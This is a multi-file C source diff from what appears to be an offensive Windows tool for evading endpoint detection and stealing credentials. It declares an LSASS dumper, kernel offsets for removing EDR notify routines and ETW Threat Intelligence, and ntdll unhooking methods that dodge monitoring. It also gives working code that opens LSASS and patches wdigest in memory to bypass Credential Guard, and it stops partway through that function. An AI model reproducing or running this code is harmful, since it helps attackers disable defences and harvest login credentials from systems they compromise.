#include <tlhelp32.h>
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data);
|
||||
@@ -0,0 +1,53 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl Notify Routines' offsets from CSV functions.
|
||||
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "FileVersion.h"
|
||||
|
||||
enum NtoskrnlOffsetType {
|
||||
CREATE_PROCESS_ROUTINE = 0,
|
||||
CREATE_THREAD_ROUTINE = 1,
|
||||
LOAD_IMAGE_ROUTINE = 2,
|
||||
PROTECTION_LEVEL = 3,
|
||||
ETW_THREAT_INT_PROV_REG_HANDLE = 4,
|
||||
ETW_REG_ENTRY_GUIDENTRY = 5,
|
||||
ETW_GUID_ENTRY_PROVIDERENABLEINFO = 6,
|
||||
_SUPPORTED_NTOSKRNL_OFFSETS_END
|
||||
};
|
||||
|
||||
union NtoskrnlOffsets {
|
||||
// structure version of ntoskrnl.exe's offsets
|
||||
struct {
|
||||
// ntoskrnl's PspCreateProcessNotifyRoutine
|
||||
DWORD64 pspCreateProcessNotifyRoutine;
|
||||
// ntoskrnl's PspCreateThreadNotifyRoutine
|
||||
DWORD64 pspCreateThreadNotifyRoutine;
|
||||
// ntoskrnl's PspLoadImageNotifyRoutine
|
||||
DWORD64 pspLoadImageNotifyRoutine;
|
||||
// ntoskrnl EPROCESS's _PS_PROTECTION
|
||||
DWORD64 ps_protection;
|
||||
// ntoskrnl ETW Threat Intelligence's EtwThreatIntProvRegHandle
|
||||
DWORD64 etwThreatIntProvRegHandle;
|
||||
// ntoskrnl _ETW_REG_ENTRY's GuidEntry
|
||||
DWORD64 etwRegEntry_GuidEntry;
|
||||
// ntoskrnl _ETW_GUID_ENTRY's ProviderEnableInfo
|
||||
DWORD64 etwGuidEntry_ProviderEnableInfo;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[_SUPPORTED_NTOSKRNL_OFFSETS_END];
|
||||
};
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename);
|
||||
@@ -0,0 +1,14 @@
|
||||
#pragma once
|
||||
#include "Undoc.h"
|
||||
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr);
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name);
|
||||
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr);
|
||||
|
||||
#if _WIN64
|
||||
PEB64* getPEB();
|
||||
TEB64* getTEB();
|
||||
#else
|
||||
PEB* getPEB(void);
|
||||
TEB* getTEB(void);
|
||||
#endif
|
||||
@@ -0,0 +1,50 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
|
||||
typedef unsigned __int64 QWORD;
|
||||
|
||||
|
||||
typedef struct _IMAGE_RELOCATION_ENTRY {
|
||||
WORD Offset : 12;
|
||||
WORD Type : 4;
|
||||
} IMAGE_RELOCATION_ENTRY;
|
||||
|
||||
typedef struct PE_relocation_t {
|
||||
DWORD RVA;
|
||||
WORD Type : 4;
|
||||
} PE_relocation;
|
||||
|
||||
typedef struct PE_pointers {
|
||||
BOOL isMemoryMapped;
|
||||
BOOL isInAnotherAddressSpace;
|
||||
HANDLE hProcess;
|
||||
PVOID baseAddress;
|
||||
//headers ptrs
|
||||
IMAGE_DOS_HEADER* dosHeader;
|
||||
IMAGE_NT_HEADERS* ntHeader;
|
||||
IMAGE_OPTIONAL_HEADER* optHeader;
|
||||
IMAGE_DATA_DIRECTORY* dataDir;
|
||||
IMAGE_SECTION_HEADER* sectionHeaders;
|
||||
//export info
|
||||
IMAGE_EXPORT_DIRECTORY* exportDirectory;
|
||||
LPDWORD exportedNames;
|
||||
DWORD exportedNamesLength;
|
||||
LPDWORD exportedFunctions;
|
||||
LPWORD exportedOrdinals;
|
||||
//relocations info
|
||||
DWORD nbRelocations;
|
||||
PE_relocation* relocations;
|
||||
} PE;
|
||||
|
||||
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped);
|
||||
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase);
|
||||
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva);
|
||||
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr);
|
||||
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva);
|
||||
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable);
|
||||
DWORD PE_functionRVA(PE* pe, LPCSTR functionName);
|
||||
PVOID PE_functionAddr(PE* pe, LPCSTR functionName);
|
||||
VOID PE_parseRelocations(PE* pe);
|
||||
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress);
|
||||
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize);
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize);
|
||||
@@ -0,0 +1,88 @@
|
||||
/*
|
||||
|
||||
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
|
||||
--- The code to locate the EPROCESS structure is adapted from:
|
||||
http://blog.rewolf.pl/blog/?p=1683
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
//extern union NtoskrnlOffsets ntoskrnlOffsets;
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
#endif
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
||||
|
||||
#define PROTECTED_PROCESS_MASK 0x00000800
|
||||
|
||||
/*
|
||||
* Defines the NtQuerySystemInformation function.
|
||||
* Undocumented function with a signature subject to possible change in futher Windows versions.
|
||||
*/
|
||||
#define SystemHandleInformation 0x10
|
||||
#define SystemHandleInformationBaseSize 0x1000
|
||||
|
||||
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
|
||||
ULONG SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
/*
|
||||
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle_table_entry.htm
|
||||
*/
|
||||
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
|
||||
USHORT UniqueProcessId;
|
||||
USHORT CreatorBackTraceIndex;
|
||||
UCHAR ObjectTypeIndex;
|
||||
UCHAR HandleAttributes;
|
||||
USHORT HandleValue;
|
||||
PVOID Object;
|
||||
ULONG GrantedAccess;
|
||||
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
|
||||
|
||||
/*
|
||||
* Source: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/handle.htm
|
||||
*/
|
||||
typedef struct _SYSTEM_HANDLE_INFORMATION {
|
||||
ULONG NumberOfHandles;
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
|
||||
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
|
||||
|
||||
/*
|
||||
* Defines the structures related to the process protection (EPROCESS's Protection attribute).
|
||||
* Source: https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess
|
||||
*/
|
||||
typedef enum _PS_PROTECTED_TYPE {
|
||||
PsProtectedTypeNone = 0,
|
||||
PsProtectedTypeProtectedLight = 1,
|
||||
PsProtectedTypeProtected = 2
|
||||
} PS_PROTECTED_TYPE, * PPS_PROTECTED_TYPE;
|
||||
|
||||
typedef enum _PS_PROTECTED_SIGNER {
|
||||
PsProtectedSignerNone = 0,
|
||||
PsProtectedSignerAuthenticode,
|
||||
PsProtectedSignerCodeGen,
|
||||
PsProtectedSignerAntimalware,
|
||||
PsProtectedSignerLsa,
|
||||
PsProtectedSignerWindows,
|
||||
PsProtectedSignerWinTcb,
|
||||
PsProtectedSignerWinSystem,
|
||||
PsProtectedSignerApp,
|
||||
PsProtectedSignerMax
|
||||
} PS_PROTECTED_SIGNER, * PPS_PROTECTED_SIGNER;
|
||||
|
||||
DWORD64 GetSelfEPROCESSAddress(BOOL verbose);
|
||||
|
||||
int SetCurrentProcessAsProtected(BOOL verbose);
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,244 @@
|
||||
#pragma once
|
||||
#include "Undoc.h"
|
||||
|
||||
//
|
||||
// [TEB/PEB UNDER 64-BIT WINDOWS]
|
||||
// This file represents the 64-bit PEB and associated data structures for 64-bit Windows
|
||||
// This PEB is allegedly valid between XP thru [at least] Windows 8
|
||||
//
|
||||
// [REFERENCES]
|
||||
// http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html
|
||||
// http://terminus.rewolf.pl/terminus/structures/ntdll/_TEB64_x86.html
|
||||
// https://github.com/giampaolo/psutil/commit/babd2b73538fcb6f3931f0ab6d9c100df6f37bcb (RTL_USER_PROCESS_PARAMETERS)
|
||||
// https://redplait.blogspot.com/2011/09/w8-64bit-teb-peb.html (TEB)
|
||||
//
|
||||
// [CHANGELIST]
|
||||
// 2018-05-02: -now can be compiled alongside windows.h (without changes) or by defining WANT_ALL_WINDOWS_H_DEFINITIONS so this file can be used standalone
|
||||
// -this file may also be included alongside tebpeb32.h which can be found at http://bytepointer.com/resources/tebpeb32.h
|
||||
// -64-bit types no longer clash with the 32-bit ones; e.g. UNICODE_STRING64, RTL_USER_PROCESS_PARAMETERS64, PEB64 (same result whether 32 or 64-bit compiler is used)
|
||||
// -added more QWORD aliases (i.e. HANDLE64 and PTR64) so underlying types are clearer, however most PEB members remain generic QWORD placeholders for now
|
||||
// -fixed missing semicolon bug in UNICODE_STRING64
|
||||
// -added prliminary RTL_USER_PROCESS_PARAMETERS64 and TEB64 with offsets
|
||||
// -included byte offsets for PEB64
|
||||
//
|
||||
// 2017-08-25: initial public release
|
||||
//
|
||||
|
||||
|
||||
//
|
||||
// base types
|
||||
//
|
||||
|
||||
//always declare 64-bit types
|
||||
#ifdef _MSC_VER
|
||||
//Visual C++
|
||||
typedef unsigned __int64 QWORD;
|
||||
typedef __int64 INT64;
|
||||
#else
|
||||
//GCC
|
||||
typedef unsigned long long QWORD;
|
||||
typedef long long INT64;
|
||||
#endif
|
||||
typedef QWORD PTR64;
|
||||
#ifndef __HANDLE64_DEFINED__
|
||||
typedef QWORD HANDLE64;
|
||||
#endif
|
||||
|
||||
#include <windows.h>
|
||||
//UNCOMMENT line below if you are not including windows.h
|
||||
//#define WANT_ALL_WINDOWS_H_DEFINITIONS
|
||||
#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
|
||||
|
||||
//base types
|
||||
typedef unsigned char BYTE;
|
||||
typedef char CHAR;
|
||||
typedef unsigned short WORD;
|
||||
typedef short INT16;
|
||||
typedef unsigned long DWORD;
|
||||
typedef long INT32;
|
||||
typedef unsigned __int64 QWORD;
|
||||
typedef __int64 INT64;
|
||||
typedef void* HANDLE;
|
||||
typedef unsigned short WCHAR;
|
||||
|
||||
//base structures
|
||||
union LARGE_INTEGER
|
||||
{
|
||||
struct
|
||||
{
|
||||
DWORD LowPart;
|
||||
INT32 HighPart;
|
||||
} u;
|
||||
INT64 QuadPart;
|
||||
};
|
||||
|
||||
union ULARGE_INTEGER
|
||||
{
|
||||
struct
|
||||
{
|
||||
DWORD LowPart;
|
||||
DWORD HighPart;
|
||||
} u;
|
||||
QWORD QuadPart;
|
||||
};
|
||||
|
||||
#endif //#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS
|
||||
|
||||
typedef struct UNICODE_STRING64
|
||||
{
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
WORD Length;
|
||||
WORD MaximumLength;
|
||||
} u;
|
||||
QWORD dummyalign;
|
||||
} uOrDummyAlign;
|
||||
QWORD Buffer;
|
||||
} UNICODE_STRING64;
|
||||
|
||||
typedef struct _CLIENT_ID64
|
||||
{
|
||||
QWORD ProcessId;
|
||||
QWORD ThreadId;
|
||||
} CLIENT_ID64;
|
||||
|
||||
|
||||
//NOTE: the members of this structure are not yet complete
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS64
|
||||
{
|
||||
BYTE Reserved1[16]; //0x00
|
||||
QWORD Reserved2[5]; //0x10
|
||||
UNICODE_STRING64 CurrentDirectoryPath; //0x38
|
||||
HANDLE64 CurrentDirectoryHandle; //0x48
|
||||
UNICODE_STRING64 DllPath; //0x50
|
||||
UNICODE_STRING64 ImagePathName; //0x60
|
||||
UNICODE_STRING64 CommandLine; //0x70
|
||||
PTR64 Environment; //0x80
|
||||
} RTL_USER_PROCESS_PARAMETERS64;
|
||||
|
||||
//
|
||||
// PEB64 structure - TODO: comb more through http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html and add OS delineations and Windows 10 updates
|
||||
//
|
||||
// The structure represented here is a work-in-progress as only members thru offset 0x320 are listed; the actual sizes per OS are:
|
||||
// 0x0358 XP/WS03
|
||||
// 0x0368 Vista
|
||||
// 0x037C Windows 7
|
||||
// 0x0388 Windows 8
|
||||
// 0x07A0 Windows 10
|
||||
//
|
||||
typedef struct PEB64
|
||||
{
|
||||
union
|
||||
{
|
||||
struct
|
||||
{
|
||||
BYTE InheritedAddressSpace; //0x000
|
||||
BYTE ReadImageFileExecOptions; //0x001
|
||||
BYTE BeingDebugged; //0x002
|
||||
BYTE _SYSTEM_DEPENDENT_01; //0x003
|
||||
} flags;
|
||||
QWORD dummyalign;
|
||||
} dword0;
|
||||
QWORD Mutant; //0x0008
|
||||
QWORD ImageBaseAddress; //0x0010
|
||||
PEB_LDR_DATA* Ldr; //0x0018
|
||||
PTR64 ProcessParameters; //0x0020 / pointer to RTL_USER_PROCESS_PARAMETERS64
|
||||
QWORD SubSystemData; //0x0028
|
||||
QWORD ProcessHeap; //0x0030
|
||||
QWORD FastPebLock; //0x0038
|
||||
QWORD _SYSTEM_DEPENDENT_02; //0x0040
|
||||
QWORD _SYSTEM_DEPENDENT_03; //0x0048
|
||||
QWORD _SYSTEM_DEPENDENT_04; //0x0050
|
||||
union
|
||||
{
|
||||
QWORD KernelCallbackTable; //0x0058
|
||||
QWORD UserSharedInfoPtr; //0x0058
|
||||
}KernelCallbackTableOrUserSharedInfoPtr;
|
||||
DWORD SystemReserved; //0x0060
|
||||
DWORD _SYSTEM_DEPENDENT_05; //0x0064
|
||||
QWORD _SYSTEM_DEPENDENT_06; //0x0068
|
||||
QWORD TlsExpansionCounter; //0x0070
|
||||
QWORD TlsBitmap; //0x0078
|
||||
DWORD TlsBitmapBits[2]; //0x0080
|
||||
QWORD ReadOnlySharedMemoryBase; //0x0088
|
||||
QWORD _SYSTEM_DEPENDENT_07; //0x0090
|
||||
QWORD ReadOnlyStaticServerData; //0x0098
|
||||
QWORD AnsiCodePageData; //0x00A0
|
||||
QWORD OemCodePageData; //0x00A8
|
||||
QWORD UnicodeCaseTableData; //0x00B0
|
||||
DWORD NumberOfProcessors; //0x00B8
|
||||
union
|
||||
{
|
||||
DWORD NtGlobalFlag; //0x00BC
|
||||
DWORD dummy02; //0x00BC
|
||||
}NtGlobalFlagOrdummy02;
|
||||
LARGE_INTEGER CriticalSectionTimeout; //0x00C0
|
||||
QWORD HeapSegmentReserve; //0x00C8
|
||||
QWORD HeapSegmentCommit; //0x00D0
|
||||
QWORD HeapDeCommitTotalFreeThreshold; //0x00D8
|
||||
QWORD HeapDeCommitFreeBlockThreshold; //0x00E0
|
||||
DWORD NumberOfHeaps; //0x00E8
|
||||
DWORD MaximumNumberOfHeaps; //0x00EC
|
||||
QWORD ProcessHeaps; //0x00F0
|
||||
QWORD GdiSharedHandleTable; //0x00F8
|
||||
QWORD ProcessStarterHelper; //0x0100
|
||||
QWORD GdiDCAttributeList; //0x0108
|
||||
QWORD LoaderLock; //0x0110
|
||||
DWORD OSMajorVersion; //0x0118
|
||||
DWORD OSMinorVersion; //0x011C
|
||||
WORD OSBuildNumber; //0x0120
|
||||
WORD OSCSDVersion; //0x0122
|
||||
DWORD OSPlatformId; //0x0124
|
||||
DWORD ImageSubsystem; //0x0128
|
||||
DWORD ImageSubsystemMajorVersion; //0x012C
|
||||
QWORD ImageSubsystemMinorVersion; //0x0130
|
||||
union
|
||||
{
|
||||
QWORD ImageProcessAffinityMask; //0x0138
|
||||
QWORD ActiveProcessAffinityMask; //0x0138
|
||||
}ImageProcessAffinityMaskOrActiveProcessAffinityMask;
|
||||
QWORD GdiHandleBuffer[30]; //0x0140
|
||||
QWORD PostProcessInitRoutine; //0x0230
|
||||
QWORD TlsExpansionBitmap; //0x0238
|
||||
DWORD TlsExpansionBitmapBits[32]; //0x0240
|
||||
QWORD SessionId; //0x02C0
|
||||
ULARGE_INTEGER AppCompatFlags; //0x02C8
|
||||
ULARGE_INTEGER AppCompatFlagsUser; //0x02D0
|
||||
QWORD pShimData; //0x02D8
|
||||
QWORD AppCompatInfo; //0x02E0
|
||||
UNICODE_STRING64 CSDVersion; //0x02E8
|
||||
QWORD ActivationContextData; //0x02F8
|
||||
QWORD ProcessAssemblyStorageMap; //0x0300
|
||||
QWORD SystemDefaultActivationContextData; //0x0308
|
||||
QWORD SystemAssemblyStorageMap; //0x0310
|
||||
QWORD MinimumStackCommit; //0x0318
|
||||
|
||||
} PEB64; //struct PEB64
|
||||
|
||||
//
|
||||
// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8
|
||||
//
|
||||
typedef struct TEB64
|
||||
{
|
||||
BYTE NtTib[56]; //0x0000 / NT_TIB64 structure
|
||||
PTR64 EnvironmentPointer; //0x0038
|
||||
CLIENT_ID64 ClientId; //0x0040
|
||||
PTR64 ActiveRpcHandle; //0x0050
|
||||
PTR64 ThreadLocalStoragePointer; //0x0058
|
||||
PTR64 ProcessEnvironmentBlock; //0x0060 / ptr to PEB64
|
||||
DWORD LastErrorValue; //0x0068
|
||||
DWORD CountOfOwnedCriticalSections; //0x006C
|
||||
PTR64 CsrClientThread; //0x0070
|
||||
PTR64 Win32ThreadInfo; //0x0078
|
||||
DWORD User32Reserved[26]; //0x0080
|
||||
DWORD UserReserved[6]; //0x00E8
|
||||
PTR64 WOW32Reserved; //0x0100
|
||||
DWORD CurrentLocale; //0x0108
|
||||
DWORD FpSoftwareStatusRegister; //0x010C
|
||||
PTR64 SystemReserved1[54]; //0x0110
|
||||
DWORD ExceptionCode; //0x02C0
|
||||
PTR64 ActivationContextStackPointer; //0x02C8
|
||||
|
||||
} TEB64; //struct TEB64
|
||||
@@ -0,0 +1,64 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include "Undoc.h"
|
||||
#include "PEParser.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include <stdio.h>
|
||||
#include <TlHelp32.h>
|
||||
#include <DbgHelp.h>
|
||||
#include <pathcch.h>
|
||||
|
||||
typedef struct diff_t {
|
||||
PVOID disk_ptr;
|
||||
PVOID mem_ptr;
|
||||
size_t size;
|
||||
} diff;
|
||||
|
||||
typedef struct hook_t {
|
||||
PVOID disk_function;
|
||||
PVOID mem_function;
|
||||
LPCSTR functionName;
|
||||
diff* list_patches;
|
||||
} hook;
|
||||
|
||||
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) (
|
||||
IN HANDLE ProcessHandle,
|
||||
IN OUT PVOID* BaseAddress,
|
||||
IN OUT PSIZE_T NumberOfBytesToProtect,
|
||||
IN ULONG NewAccessProtection,
|
||||
OUT PULONG OldAccessProtection);
|
||||
|
||||
typedef NTSTATUS(NTAPI* pRtlGetVersion)(
|
||||
OUT LPOSVERSIONINFOEXW lpVersionInformation);
|
||||
|
||||
enum unhook_method_e {
|
||||
UNHOOK_NONE,
|
||||
|
||||
// Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks
|
||||
UNHOOK_WITH_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks
|
||||
UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks
|
||||
UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE,
|
||||
|
||||
// Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks
|
||||
UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY,
|
||||
|
||||
// Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks
|
||||
UNHOOK_WITH_DIRECT_SYSCALL
|
||||
};
|
||||
|
||||
hook* searchHooks(const char* csvFileName);
|
||||
PVOID hookResolver(PBYTE hookAddr);
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method);
|
||||
VOID unhook(hook* hook, DWORD unhook_method);
|
||||
|
||||
|
||||
/*
|
||||
* Cache for NTDLL PE (accessed often)
|
||||
*/
|
||||
PE* ntdllDiskPe_g;
|
||||
PE* ntdllMemPe_g;
|
||||
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk);
|
||||
@@ -0,0 +1,38 @@
|
||||
/*
|
||||
|
||||
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
|
||||
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
|
||||
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
|
||||
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "Globals.h"
|
||||
#include "FileVersion.h"
|
||||
|
||||
enum WdigestOffsetType {
|
||||
g_fParameter_UseLogonCredential = 0,
|
||||
g_IsCredGuardEnabled = 1
|
||||
};
|
||||
|
||||
union WdigestOffsets {
|
||||
// structure version of wdigest.dll's offsets
|
||||
struct {
|
||||
// wdigest.dll's g_fParameter_UseLogonCredential
|
||||
DWORD64 g_fParameter_UseLogonCredential;
|
||||
// wdigest.dll's g_IsCredGuardEnabled
|
||||
DWORD64 g_IsCredGuardEnabled;
|
||||
} st;
|
||||
|
||||
// array version (usefull for code factoring)
|
||||
DWORD64 ar[2];
|
||||
};
|
||||
|
||||
union WdigestOffsets wdigestOffsets;
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename);
|
||||
@@ -0,0 +1,170 @@
|
||||
#include "CredGuard.h"
|
||||
|
||||
DWORD WINAPI disableCredGuardByPatchingLSASS(void) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hLsass;
|
||||
PROCESSENTRY32 pe32;
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
pe32.th32ProcessID = 0;
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Now walk the snapshot of processes, and look for "lsass.exe"
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) == 0) {
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
CloseHandle(hProcessSnap);
|
||||
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Open an handle to the LSASS process.
|
||||
hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
|
||||
if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
HMODULE hModulesArray[512] = { 0 };
|
||||
DWORD lpcbNeeded;
|
||||
if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError());
|
||||
CloseHandle(hLsass);
|
||||
return 1;
|
||||
}
|
||||
|
||||
BOOL returnStatus = FALSE;
|
||||
TCHAR szModulename[MAX_PATH];
|
||||
for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) {
|
||||
if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, sizeof(szModulename))) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
if (_tcsstr(szModulename, TEXT("wdigest"))) {
|
||||
MODULEINFO moduleInfo = { 0 };
|
||||
if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
// Computes the exact address in memory of g_fParameter_UseLogonCredential & g_IsCredGuardEnabled using load lib wdigest base address + known offsets.
|
||||
DWORD64 wdigestBaseAddress = (DWORD64)moduleInfo.lpBaseOfDll;
|
||||
|
||||
DWORD currentValue = 0x0;
|
||||
DWORD CurrentValueLength = sizeof(DWORD);
|
||||
SIZE_T bytesRead = 0;
|
||||
SIZE_T bytesWritten = 0;
|
||||
|
||||
/*
|
||||
* Setting g_fParameter_UseLogonCredential to 0x1.
|
||||
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||
*/
|
||||
DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential;
|
||||
DWORD useLogonCredentialPatch = 0x1;
|
||||
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress);
|
||||
//if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead))
|
||||
if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||
_tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (currentValue != useLogonCredentialPatch) {
|
||||
if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) {
|
||||
ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||
if (currentValue == useLogonCredentialPatch) {
|
||||
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch);
|
||||
}
|
||||
}
|
||||
else {
|
||||
